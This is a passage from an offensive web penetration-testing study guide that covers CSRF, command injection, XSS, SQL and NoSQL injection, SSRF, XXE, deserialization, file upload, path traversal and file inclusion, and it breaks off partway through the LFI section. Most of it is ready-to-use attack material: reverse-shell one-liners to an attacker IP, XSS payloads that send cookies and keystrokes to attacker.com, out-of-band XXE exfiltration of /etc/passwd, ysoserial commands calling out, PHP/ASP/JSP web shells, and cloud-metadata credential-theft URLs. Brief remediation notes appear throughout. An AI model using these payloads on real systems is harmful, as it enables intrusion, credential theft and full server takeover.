<input type="hidden" name="email" value="[email protected]">
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>
GET-based CSRF (even simpler):
<img src="https://target.com/account/delete?confirm=true">
Testing for CSRF: find a state-changing request (change email/password, make a purchase, change settings) and ask: is there an unpredictable anti-CSRF token tied to the session? If not (or if it's not validated), it's vulnerable. Burp's Generate CSRF PoC (Engagement tools) auto-builds the exploit.
Anti-CSRF token bypasses (the advanced angle — tokens are often implemented weakly):
- Token not validated — remove the token parameter entirely; if the request still works, the check is cosmetic.
- Token not tied to the session — use your own valid token in a request as the victim.
- Token validated only if present — send an empty token or omit it.
- Token in a cookie (double-submit) but also reflected — if you can set the cookie (via another bug) and it must equal a body field, control both.
- Method change — if the token is only checked on POST, try GET.
- Predictable token — if tokens are weak/guessable, forge one.
- SameSite gaps — SameSite=Lax still allows top-level navigation GET; None/absent allows cross-site POST.
- Referer-based protection — if the app only checks Referer, omit it (meta referrer policy) or spoof it.
Chaining CSRF: CSRF → change victim's email → trigger password reset to attacker's inbox → account takeover. Or CSRF to change a privileged setting. Impact depends on the action — frame it in the report (ATO, fund transfer, privilege change). Remediation: unpredictable per-session anti-CSRF tokens validated server-side on every state-changing request, SameSite=Strict/Lax cookies, and re-authentication for sensitive actions.
15. OS Command Injection
Command injection lets you execute arbitrary operating-system commands on the server — one of the highest-impact web vulns (direct RCE). It occurs when user input is passed into a system shell without sanitization.
Where it hides: any feature that invokes OS functionality — ping/traceroute tools, DNS lookups, file processing (image/PDF conversion), backup/export features, admin utilities. Look for a parameter whose value plausibly reaches a shell command.
Command separators / injection operators:
; command separator (run after) ping 127.0.0.1; whoami
&& run if previous succeeds ping 127.0.0.1 && whoami
|| run if previous fails ping 999 || whoami
| pipe output ping 127.0.0.1 | whoami
& background / separator ping 127.0.0.1 & whoami
`cmd` command substitution (backticks) ping `whoami`.attacker.com
$(cmd) command substitution ping $(whoami).attacker.com
%0a newline (URL-encoded \n) 127.0.0.1%0awhoami
Detecting command injection:
# visible (in-band) output — inject and read the command output in the response:
127.0.0.1; whoami
127.0.0.1 && id
| cat /etc/passwd
# quick info-gathering commands:
whoami ; id ; uname -a ; hostname ; pwd ; ls -la
Blind command injection (no output returned) — three detection techniques:
# 1) TIME DELAY — if the response is delayed, the command ran:
& ping -c 10 127.0.0.1 & # Linux (10s delay)
& ping -n 10 127.0.0.1 & # Windows
& sleep 10 &
# 2) OUT-OF-BAND (OAST) — force a DNS/HTTP callback to a server you control (Burp Collaborator):
& nslookup <your-collab-id>.oast.site &
& curl http://<your-collab-id>.oast.site/ &
# exfiltrate command output via the subdomain:
& nslookup `whoami`.<your-collab-id>.oast.site &
& nslookup $(hostname).<your-collab-id>.oast.site &
# 3) OUTPUT REDIRECTION — write output to a web-accessible file, then read it:
& whoami > /var/www/html/out.txt & # then browse /out.txt
Weaponizing to a reverse shell (RCE → full control):
# Linux:
; bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'
; nc -e /bin/bash <ATTACKER_IP> 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f
# listener: nc -lvnp 4444
# then stabilize: python3 -c 'import pty;pty.spawn("/bin/bash")' → Ctrl+Z → stty raw -echo; fg
Useful enumeration commands (Linux | Windows):
current user: whoami | whoami
OS info: uname -a | ver / systeminfo
network: ifconfig / ip a | ipconfig /all
connections: netstat -an | netstat -an
processes: ps -ef | tasklist
Filter bypass (when characters are blocked — ties into §28):
# use alternative separators, encoding, or command obfuscation:
w`'h'`oami # quotes inside the command
who$()ami # empty command substitution
who${IFS}ami # $IFS for spaces when spaces are filtered
cat</etc/passwd # < instead of space
c''at /etc/pas''swd # break keywords with quotes
/???/??t /etc/passwd # wildcards
$(printf '\x77\x68\x6f\x61\x6d\x69') # build the command from hex
Remediation: avoid calling the shell with user input; use language APIs/parameterized execution; strict input allow-listing; never pass unsanitized input to system()/exec()/os.system()/backticks. ATT&CK/impact: full server compromise (RCE) — report as Critical.
16. Cross-Site Scripting (XSS) — Reflected, Stored & DOM
XSS executes attacker-controlled JavaScript in a victim's browser in the context of the vulnerable site — enabling session theft, account takeover, phishing, and worm-like attacks. It occurs when user input is reflected into a page without proper output encoding.
XSS anatomy — the three types:
- Reflected XSS — the payload is in the request and reflected immediately in the response (not stored). Delivered via a crafted link. Affects whoever clicks it.
- Stored (Persistent) XSS — the payload is saved by the app (comment, profile, message) and served to everyone who views that content. Highest impact — hits all viewers, including admins.
- DOM-Based XSS — the vulnerability is entirely client-side: JavaScript reads attacker-controllable input (from location/hash/referrer/postMessage) and writes it to a dangerous sink (innerHTML, document.write, eval) without sanitization. The payload may never reach the server.
Finding XSS: inject a unique marker into every input and search the response for it — is it reflected, and in what context (HTML body, attribute, JS string, URL, etc.)? The context dictates the payload.
Core XSS payloads by context:
<!-- HTML body context -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.cookie)>
<svg onload=alert(1)>
<!-- breaking out of an HTML attribute -->
"><script>alert(1)</script>
"><svg onload=alert(1)>
" onmouseover="alert(1)
" autofocus onfocus=alert(1) x="
<!-- inside a JavaScript string -->
';alert(1)//
'-alert(1)-'
</script><script>alert(1)</script>
<!-- URL / href (javascript: scheme) -->
javascript:alert(1)
<!-- no <script> allowed (event handlers) -->
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
DOM XSS (source → sink):
// source: location.hash / location.search / document.referrer / postMessage
// sink: innerHTML / document.write / eval / setTimeout / jQuery $() / element.src
// e.g. a hashchange handler writing to innerHTML:
#<img src=x onerror=alert(document.cookie)>
// jQuery selector sink: $(location.hash) → #<img src=x onerror=alert(1)>
Use Burp's DOM Invader to trace sources→sinks automatically.
Weaponizing XSS (the advanced angle — beyond alert(1)):
1. Session/cookie theft → account takeover (if not HttpOnly):
<script>new Image().src="http://attacker.com/log.php?c="+document.cookie;</script>
<script>fetch('https://attacker.com/c',{method:'POST',mode:'no-cors',body:document.cookie});</script>
Set up a listener (nc -lvnp 80 or a logging endpoint), deliver/plant the payload, and collect the victim's cookie → set it in your browser → you're them. (This is the classic XSS→session-hijack chain, §12.)
2. Keylogging / credential harvesting:
<script>document.onkeypress=function(e){fetch('//attacker.com/k?k='+e.key)}</script>
3. Forced actions / CSRF-via-XSS (same-origin, bypasses CSRF tokens):
<script>fetch('/account/change-email',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'[email protected]'})</script>
Because the script runs in the app's origin, it can read anti-CSRF tokens and perform privileged actions — a stored XSS on an admin-viewed page → admin account takeover.
4. Stealing data / defacing / phishing — read page content and exfiltrate it, or inject a fake login form.
Filter bypass (ties to §28):
<!-- case / tag manipulation -->
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt> <!-- nested, defeats naive strip -->
<!-- encoding -->
<img src=x onerror=alert(1)> <!-- HTML entities -->
<a href="javascript:alert(1)">x</a>
<svg onload=eval(atob('YWxlcnQoMSk='))> <!-- base64 eval -->
<!-- no parentheses / no quotes / allow-list evasion -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<x onclick=alert(1)>click
Automated testing: XSSer can help find/exploit XSS (use carefully, verify manually):
xsser --url "http://target.com/page?q=XSS" --auto
xsser --url "http://target.com/search.php" -p "query=XSS&submit=1" --Fp "<script>alert(1)</script>"
# authenticated:
xsser --url "http://target.com/page?name=XSS" --cookie="PHPSESSID=<sid>" --Fp "<script>alert(1)</script>"
Remediation: context-aware output encoding, input validation, a strong Content-Security-Policy (CSP), HttpOnly cookies, and framework auto-escaping. Impact: session theft, ATO, worm propagation — report reflected as Medium/High and stored (especially admin-facing) as High/Critical.
17. SQL Injection (SQLi) — In-Band, Blind, UNION & Error-Based
SQL injection lets you manipulate the database queries an app sends — to bypass authentication, extract data (credentials, PII), modify/delete data, and sometimes achieve RCE. A flagship eWPTX topic.
How it happens: user input is concatenated into a SQL query without parameterization:
-- vulnerable: "SELECT * FROM users WHERE name='" + input + "'"
-- input: admin'-- - → SELECT * FROM users WHERE name='admin'-- -'
Detection: inject ' (single quote) and watch for a SQL error or behavior change; confirm with boolean and time logic.
' -- error or anomaly?
' AND '1'='1 -- true (page normal)
' AND '1'='2 -- false (page differs) → boolean-based blind confirmed
' OR SLEEP(5)-- - -- delay? → time-based blind confirmed
Authentication bypass (login forms):
admin'-- -
admin'#
' OR '1'='1'-- -
' OR 1=1-- -
') OR ('1'='1'-- -
' OR 1=1 LIMIT 1-- -
In-Band SQLi — UNION-based (extract data directly in the response):
-- 1) find the number of columns (increment until error / use ORDER BY):
' ORDER BY 1-- - ' ORDER BY 2-- - ... (error at N → N-1 columns)
' UNION SELECT NULL-- - ' UNION SELECT NULL,NULL-- - ... (no error → right count)
-- 2) find which columns are reflected (take a string):
' UNION SELECT 'a',NULL,NULL-- -
-- 3) enumerate the database:
' UNION SELECT database(),version(),user()-- -
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT username,password,NULL FROM users-- -
' UNION SELECT group_concat(username,0x3a,password),NULL,NULL FROM users-- -
In-Band SQLi — Error-based (data leaks in error messages):
-- MySQL (extractvalue / updatexml):
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
-- MSSQL (convert error):
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects))-- -
-- PostgreSQL (cast error):
' AND 1=CAST((SELECT version()) AS int)-- -
Blind SQLi — Boolean-based (infer data from true/false responses):
-- extract data one character at a time (automate with a script/Intruder):
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
' AND (SELECT COUNT(*) FROM users)>5-- -
' AND ASCII(SUBSTRING((SELECT database()),1,1))>100-- -
Blind SQLi — Time-based (infer from response delay):
' AND IF(1=1,SLEEP(5),0)-- - -- MySQL
'; WAITFOR DELAY '0:0:5'-- - -- MSSQL
' AND (SELECT 1 FROM PG_SLEEP(5))-- - -- PostgreSQL (or ' || pg_sleep(5)-- -)
' AND 1=(SELECT 1 FROM dual WHERE DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1)-- - -- Oracle
-- time-based data extraction:
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -
Out-of-Band (OOB) SQLi (Oracle/MSSQL) — exfiltrate via DNS/HTTP:
-- Oracle (UTL_HTTP / DNS):
' UNION SELECT extractvalue(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://'||(SELECT user FROM dual)||'.<collab>/">%x;]>'),'/l') FROM dual-- -
Database-specific syntax reference:
MySQL MSSQL PostgreSQL Oracle
comment -- - / # -- - -- - -- -
version version() @@version version() SELECT banner FROM v$version
current db database() DB_NAME() current_database() SELECT user FROM dual
string concat CONCAT(a,b) a+b a||b a||b
substring SUBSTRING() SUBSTRING() SUBSTRING() SUBSTR()
sleep/delay SLEEP(5) WAITFOR DELAY PG_SLEEP(5) DBMS_LOCK.SLEEP
list tables information_schema.tables (MySQL/MSSQL/PG) all_tables (Oracle)
RCE via SQLi (where supported): MySQL INTO OUTFILE to write a web shell (FILE priv + writable webroot); MSSQL xp_cmdshell for command execution; PostgreSQL COPY ... TO PROGRAM. SQLMap's --os-shell automates these.
SQLi auth-bypass & general payload lists (from your cheat sheet): keep a curated set (' OR '1'='1'-- -, admin'-- -, UNION/ORDER BY/SLEEP variants) and iterate per DBMS and context. Remediation: parameterized queries / prepared statements (the real fix), input validation, least-privilege DB accounts, and WAF as defense-in-depth. Impact: data breach, auth bypass, RCE — Critical.
18. NoSQL Injection
Modern apps (Node.js + MongoDB, etc.) use NoSQL databases, which have their own injection class — often missed by testers focused on SQL.
How NoSQL injection works: NoSQL queries often accept structured objects (JSON); if user input is placed into a query without sanitization, you can inject operators that change the query logic.
Authentication bypass (MongoDB) — operator injection:
// normal login body:
{"username":"admin","password":"secret"}
// inject operators ($ne = not equal) to bypass:
{"username":"admin","password":{"$ne":null}}
{"username":{"$ne":null},"password":{"$ne":null}}
{"username":"admin","password":{"$gt":""}}
As URL-encoded form parameters:
username[$ne]=&password[$ne]=
username=admin&password[$ne]=x
Data extraction (blind, via $regex):
{"username":"admin","password":{"$regex":"^a"}} // true if password starts with 'a'
{"username":"admin","password":{"$regex":"^ad"}} // narrow it down character by character
Operator / JavaScript injection ($where):
{"$where":"this.password.length>5"}
{"username":"admin","$where":"sleep(5000)"} // time-based detection
Syntax injection (breaking out): test ', ", \, ;, {, } in JSON contexts and watch for errors or behavior changes, just like SQLi detection.
Detection approach: wherever the backend is Node/Mongo (cookies like connect.sid, JSON APIs), test operator injection ([$ne], [$gt], [$regex]) in auth and search parameters, both as JSON and as bracketed form params. Remediation: validate/cast input types, reject query operators in user input, use an ODM with strict schemas, and avoid $where/server-side JS.
19. Automated SQLi with SQLMap
SQLMap automates detection and exploitation of SQL injection — essential for efficiency, but understand the manual techniques (§17) first so you can verify and handle cases SQLMap misses.
Basic usage:
# GET parameter
sqlmap -u "http://target.com/item.php?id=1" -p id
# POST data
sqlmap -u "http://target.com/login.php" --data="username=admin&password=admin"
# from a saved Burp request (best for complex/authenticated requests)
sqlmap -r request.txt -p id
# with a session cookie
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=<sid>; security=low"
Enumeration workflow (escalate step by step):
sqlmap -r req.txt --dbs # list databases
sqlmap -r req.txt -D appdb --tables # list tables in a DB
sqlmap -r req.txt -D appdb -T users --columns # list columns
sqlmap -r req.txt -D appdb -T users -C username,password --dump # dump specific columns
sqlmap -r req.txt -D appdb --dump-all # dump everything (careful/noisy)
sqlmap -r req.txt --current-user --current-db --is-dba --hostname # context
Advanced flags (for the eXtreme cases — WAFs, tough injections):
--level=5 --risk=3 # more tests, more aggressive payloads (for stubborn injections)
--technique=BEUSTQ # Boolean/Error/Union/Stacked/Time/inline-Query
--dbms=mysql # specify the DBMS if known (faster, more accurate)
--tamper=space2comment,between,charencode # WAF bypass tamper scripts (§28)
--random-agent # randomize User-Agent
--threads=10 # speed up
--proxy=http://127.0.0.1:8080 # route through Burp to observe
--os-shell # attempt an OS shell (RCE) where supported
--sql-shell # interactive SQL shell
--batch # non-interactive (accept defaults)
WAF bypass with tamper scripts: SQLMap's --tamper applies transformations (comment insertion, encoding, case swapping) to evade filters — list them with sqlmap --list-tampers. Combine with --random-agent and reduced request rate.
Best practice: start manual (confirm the injection, understand the DBMS/context), then let SQLMap do the heavy extraction; always run through Burp (--proxy) so you can see and learn from the requests; and only against authorized targets (SQLMap is loud and impactful).
20. API Penetration Testing (REST, BOLA, BFLA)
Modern apps are driven by APIs (REST, GraphQL). APIs expose the same vulnerability classes plus their own authorization-centric flaws — and they're a major eWPTX domain.
Discovering the API:
- Find endpoints: /api, /api/v1, /api/v2, /rest, /graphql
- Documentation: /swagger, /swagger-ui, /openapi.json, /api-docs, /graphql (introspection)
- Observe the app's own API calls in Burp (the frontend talks to the API — mirror it)
- Mobile apps / SPAs reveal API endpoints in their JS bundles / traffic
Read the API documentation (Swagger/OpenAPI) — it lists every endpoint, method, and parameter: your complete test surface.
The OWASP API Security Top 10 — the key API-specific flaws:
BOLA / IDOR (Broken Object Level Authorization) — the #1 API vuln. The API trusts a client-supplied object ID without checking ownership:
GET /api/v1/users/1001/profile → your data
GET /api/v1/users/1002/profile → someone else's data (BOLA!)
GET /api/v1/orders/55 → change to /orders/56
PUT /api/v1/accounts/1001 {"email":"x"} → change another user's account
Test: for every endpoint with an ID, swap the ID to another user's and see if you get/modify their data. Burp Autorize automates this (replay low-priv requests, flag what succeeds).
BFLA (Broken Function Level Authorization). Access functions above your role:
POST /api/v1/admin/users/1002/delete (as a normal user → should be 403)
PATCH /api/v1/users/1001 {"role":"admin"} (mass assignment → privilege escalation)
GET /api/v1/admin/stats (admin-only endpoint accessed as user)
Other API attacks:
- Broken authentication — weak/no auth on endpoints, JWT flaws (§13), API keys in client code.
- Excessive data exposure — the API returns more fields than the UI shows (read the raw JSON for secrets/PII the frontend hides).
- Mass assignment — send extra JSON fields the client never exposes ("isAdmin":true, "verified":true, "balance":9999).
- Lack of rate limiting — brute force, enumeration, resource exhaustion.
- Injection — SQLi/NoSQLi/command injection in API parameters and JSON bodies.
- Improper HTTP methods — try PUT/DELETE/PATCH where only GET is documented.
- GraphQL-specific — introspection (dump the whole schema), batching/alias attacks to bypass rate limits, deeply-nested queries (DoS), and field-level authorization flaws.
GraphQL testing:
# introspection — dump the entire schema:
curl -s https://target.com/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name fields{name}}}}"}'
# then test each query/mutation for BOLA/BFLA/injection; use InQL (Burp) to visualize.
API testing workflow: map all endpoints (docs + observed traffic) → authenticate as a low-priv user → for each endpoint test authorization (BOLA/BFLA — swap IDs, hit admin functions), authentication (JWT/keys), injection (params + JSON bodies), mass assignment (extra fields), excessive data exposure (raw responses), and methods. Golden rule (same as web): the server must re-validate authorization and input on every request — never trust the client. Remediation: object- and function-level authorization checks server-side, strict input/field validation, rate limiting, and minimal data exposure.
21. Server-Side Request Forgery (SSRF)
SSRF tricks the server into making HTTP (or other protocol) requests to a destination the attacker chooses — reaching internal services, cloud metadata, and otherwise-unreachable systems from the trusted position of the server. A flagship "eXtreme" vulnerability because of how far it chains.
Where it hides: any feature where the server fetches a URL you influence — URL preview/unfurl, webhook configuration, PDF/image generation from a URL, "import from URL," file fetchers, API integrations, and anywhere a parameter contains a URL, hostname, or IP.
Basic SSRF — reach internal resources:
url=http://localhost/admin # internal-only admin panel
url=http://127.0.0.1:8080/ # internal service on another port
url=http://127.0.0.1:22 # port scan internal services (response/timing differs)
url=http://192.168.0.1/ # internal network hosts
url=file:///etc/passwd # local file read (if file:// allowed)
url=http://169.254.169.254/latest/meta-data/ # cloud metadata (AWS) — see below
Cloud metadata SSRF (high impact — steal cloud credentials):
# AWS (IMDSv1):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> → temporary AWS keys
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header: Metadata: true)
Stealing cloud instance credentials via SSRF often leads to full cloud-account compromise — report as Critical.
Blind SSRF (no response returned) — confirm via OOB:
url=http://<your-collab-id>.oast.site/ # Burp Collaborator / interactsh callback confirms the fetch
Even blind, SSRF can be leveraged (port scanning via timing, hitting internal state-changing endpoints).
SSRF filter bypasses (the eXtreme part — defenses try to block localhost/internal):
# alternate localhost representations:
http://127.0.0.1/ http://localhost/ http://0.0.0.0/ http://[::1]/
http://127.1/ http://0/ http://2130706433/ (decimal IP for 127.0.0.1)
http://0x7f000001/ http://0177.0.0.1/ (hex / octal)
# DNS tricks / allow-list bypass:
http://127.0.0.1.nip.io/ http://localtest.me/ (resolve to 127.0.0.1)
http://attacker.com@127.0.0.1/ http://127.0.0.1#@allowed.com/ (userinfo / fragment confusion)
http://allowed.com.attacker.com/ (suffix trick)
# protocol smuggling / redirects:
http://allowed.com/redirect?url=http://127.0.0.1/ (open redirect → SSRF to internal)
gopher://127.0.0.1:6379/_<redis-commands> (gopher → interact with internal services, e.g. Redis)
# encoding:
http://%6c%6f%63%61%6c%68%6f%73%74/ (URL-encoded "localhost")
Chaining SSRF (why it's "eXtreme"): SSRF → read cloud metadata → steal keys → cloud takeover; SSRF → internal admin panel → unauthorized actions; SSRF → internal service with a known RCE (e.g., unauthenticated Jenkins/Redis/Elasticsearch) → RCE; SSRF + gopher → send arbitrary bytes to internal TCP services (Redis, SMTP, MySQL). Remediation: allow-list outbound destinations, block internal/metadata IP ranges, disable unused URL schemes, validate+re-resolve hostnames (prevent DNS rebinding), and don't return raw fetch responses.
22. XML External Entity (XXE) Injection
XXE abuses XML parsers that process external entities — letting you read local files, perform SSRF, exfiltrate data out-of-band, and sometimes achieve DoS or RCE. It applies anywhere the app parses XML you control (SOAP, SAML, file uploads like SVG/DOCX, API XML bodies, RSS).
Classic in-band XXE — read local files:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
<!-- the file contents appear wherever &xxe; is reflected in the response -->
XXE → SSRF (reach internal/cloud):
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<foo>&xxe;</foo>
Blind / Out-of-Band XXE (no reflection) — exfiltrate via an external DTD:
<!-- the request sent to the target: -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]>
<foo>bar</foo>
<!-- evil.dtd hosted on attacker.com -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
Error-based XXE (leak a file in an error message):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
XInclude (when you can't control the DOCTYPE — inject into a value):
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
XXE via file upload (SVG/Office/XML files):
<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>
Billion Laughs (DoS — use cautiously, only if in scope): nested entity expansion exhausts memory. Mention as a risk; don't run it on production.
Detecting XXE: if the app accepts XML, add a DOCTYPE with a simple internal entity (<!ENTITY test "hello">) and see if it's expanded; then escalate to SYSTEM file reads and OOB. Switch Content-Type to application/xml on JSON endpoints — some parsers accept both. Remediation: disable external entities and DOCTYPE processing in the XML parser (the real fix), use less-complex data formats (JSON), and patch/configure libraries securely. Impact: file disclosure, SSRF, internal recon, data exfiltration — High/Critical.
23. Insecure Deserialization
Deserialization vulnerabilities arise when an app deserializes attacker-controlled data into objects without validation — leading to privilege escalation, data tampering, and often remote code execution via "gadget chains." Advanced and high-impact — core eWPTX material.
Concept: apps serialize objects to store/transmit them (in cookies, hidden fields, tokens, API payloads) and deserialize them later. If you can tamper the serialized blob, you can change object properties — or, with the right "gadgets" in the app's libraries, trigger code execution during deserialization.
Recognize serialized data:
PHP: O:4:"User":2:{s:4:"name";s:4:"john";s:5:"admin";b:0;} (starts with O: / a:)
Java: base64 starting with "rO0AB..." (hex: AC ED 00 05)
.NET: ViewState (__VIEWSTATE), BinaryFormatter blobs
Python: pickle data (often base64); Ruby: Marshal; Node: node-serialize
Object property tampering (logic abuse — the simple case):
// PHP serialized cookie:
O:4:"User":2:{s:4:"name";s:4:"john";s:5:"admin";b:0;}
// tamper admin false→true:
O:4:"User":2:{s:4:"name";s:4:"john";s:5:"admin";b:1;} → privilege escalation
RCE via gadget chains (the "eXtreme" payoff): if the app's dependencies contain exploitable "gadget" classes, a crafted serialized object executes code on deserialization. Use framework tools:
# PHP — phpggc generates gadget-chain payloads for common frameworks:
phpggc Laravel/RCE1 system id # or Symfony/RCE4, Monolog/RCE*, etc.
phpggc -l # list available chains
# Java — ysoserial:
java -jar ysoserial.jar CommonsCollections4 'curl http://attacker.com/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsCollections1 'nc attacker.com 4444 -e /bin/bash'
# .NET — ysoserial.net: ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c ..."
# Python pickle — craft a __reduce__ gadget that runs os.system(...)
# Node node-serialize — IIFE payload in a serialized function property
PHAR deserialization (PHP): file operations on a phar:// path trigger deserialization of the PHAR's metadata — a way to reach unserialize() without an obvious entry point (chain with file upload / LFI).
Testing approach: find serialized data (cookies, hidden fields, tokens, API bodies) → identify the format/framework → first try property tampering (flip privileges/identity) → then, if dependencies allow, attempt gadget-chain RCE with the right tool → confirm (OOB callback / command output). Remediation: don't deserialize untrusted data; use safe formats (JSON) with schema validation; sign/encrypt serialized data with integrity checks; keep libraries patched; use allow-lists of permitted classes. Impact: RCE, auth bypass, data tampering — Critical.
24. File Upload Vulnerabilities
File-upload features that don't properly validate uploads can let you plant a web shell (→ RCE) or other malicious content. A classic path to server compromise and a common eWPTX target.
The goal: upload an executable server-side script (PHP/ASP/JSP) and access it to run commands.
Basic web shells:
<?php system($_GET['cmd']); ?> // shell.php → ?cmd=whoami
<?php echo shell_exec($_GET['cmd']); ?>
<?php if(isset($_REQUEST['c'])){echo "<pre>".shell_exec($_REQUEST['c'])."</pre>";} ?>
<% eval request("cmd") %> // shell.asp (classic ASP)
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> // shell.jsp
Bypassing upload filters (the techniques):
# 1) Extension bypass (blacklist gaps):
shell.phtml shell.php3 shell.php4 shell.php5 shell.php7 shell.pht shell.phar shell.pHp
shell.asp;.jpg shell.aspx shell.jsp shell.jspx
# 2) Double extension:
shell.php.jpg shell.jpg.php shell.php%00.jpg (null byte — old PHP)
# 3) Content-Type (MIME) spoofing — change it in Burp to image/jpeg while uploading shell.php
# 4) Magic bytes — prepend a valid file signature so content checks pass:
GIF89a;<?php system($_GET['cmd']); ?> (GIF header + PHP)
# 5) .htaccess trick — upload a .htaccess that makes a custom extension run as PHP:
AddType application/x-httpd-php .l33t (then upload shell.l33t)
# 6) Case / trailing chars: shell.PHP shell.php. shell.php%20 shell.php::$DATA (Windows)
# 7) SVG/XML upload → XXE (§22) or stored XSS (SVG with <script>)
Finding the uploaded file: check the response for the path, and look in common upload dirs (/uploads/, /images/, /files/, /wp-content/uploads/), or brute-force. Then browse it: http://target.com/uploads/shell.php?cmd=whoami.
From web shell to reverse shell: ?cmd=bash -c 'bash -i >%26 /dev/tcp/<ATTACKER_IP>/4444 0>%261' (listener nc -lvnp 4444), then stabilize the TTY.
Other file-upload impacts: path traversal in the filename (../../shell.php to escape the upload dir), overwriting critical files, XXE/XSS via SVG, DoS via huge files, and SSRF via "upload from URL." Testing workflow: upload a benign file (learn naming/path/validation) → test each bypass against the filter → upload a shell → locate & execute it → escalate to reverse shell. Remediation: validate by content (not just extension), allow-list safe extensions, store uploads outside the webroot or on a non-executing store, randomize filenames, scan uploads, and never trust Content-Type. Impact: RCE — Critical.
25. Directory / Path Traversal
Path (directory) traversal lets you read files outside the intended directory by manipulating a file-path parameter with ../ sequences — exposing source code, config files, credentials, and system files.
Where it hides: parameters that reference files — ?file=, ?page=, ?doc=, ?download=, ?img=, ?template=, ?lang=, and anywhere a filename/path is in the request.
Basic traversal:
# Linux:
https://target.com/getImage?file=../../../../../../etc/passwd
# Windows:
https://target.com/getImage?file=..\..\..\..\..\..\windows\win.ini
Encoding & filter bypasses (the eXtreme part):
../ standard
..%2f (URL-encoded /) ..%2f..%2f..%2fetc/passwd
%2e%2e%2f (encoded ../) %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f (double-encoded) ..%252f..%252f..%252fetc%252fpasswd
....// (nested — defeats one round of ../ stripping) ....//....//etc/passwd
..%c0%af (overlong UTF-8) %c0%ae%c0%ae%c0%af
..;/ (semicolon trick — some servers)
# absolute path (if base dir not enforced):
file=/etc/passwd
# null byte (old platforms) to defeat an appended extension:
file=../../../../etc/passwd%00.jpg
# nested encodings for strict filters:
%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
High-value target files:
Linux: /etc/passwd /etc/shadow /etc/hosts /etc/issue /proc/self/environ
/var/www/html/config.php /var/log/apache2/access.log ~/.ssh/id_rsa ~/.bash_history
/run/secrets/kubernetes.io/serviceaccount/token (container/K8s)
Windows: C:\windows\win.ini C:\windows\system32\drivers\etc\hosts C:\inetpub\wwwroot\web.config
App: config files, source code (.php/.java/.py), .env, database configs, backup files
Detecting: request a known file (/etc/passwd) with increasing ../ depth; a successful read (root:x:0:0...) confirms it. If the app appends an extension (e.g., .php), use null-byte or wrapper tricks (→ LFI, §26). Remediation: avoid user input in file paths; canonicalize and validate against an allow-list; jail to a safe base directory; reject traversal sequences after decoding. Impact: source/credential/secret disclosure — High (and a stepping-stone to RCE via LFI, §26).
26. File Inclusion — LFI & RFI
File inclusion flaws occur when an app dynamically includes a file based on user input. LFI includes local files (→ info disclosure, and RCE via several techniques); RFI includes a remote file (→ direct RCE). Common in PHP apps (include, require).
Local File Inclusion (LFI):
https://target.com/index.php?page=../../../../etc/passwd
https://target.com/index.php?page=../../../../var/log/apache2/access.log
PHP wrappers (LFI power-ups):
# read source code (base64-encoded, bypasses execution):
php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=index.php → decode the base64 to read source
# data wrapper → direct code execution (if allow_url_include on):
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+ (base64 of <?php system($_GET['c']);?>)
# php://input → POST the PHP code in the body:
?page=php://input (POST body: <?php system('id'); ?>)
# expect:// → command execution (if enabled):
?page=expect://id
LFI → RCE techniques (turning file read into code execution):
- Log poisoning — inject PHP into a log the app can include, then include the log:1) Send a request with PHP in the User-Agent: User-Agent: <?php system($_GET['c']); ?> 2) Include the log: ?page=/var/log/apache2/access.log&c=id
(Also works via SSH auth.log, mail logs, etc.)
- /proc/self/environ — poison via User-Agent, include /proc/self/environ.
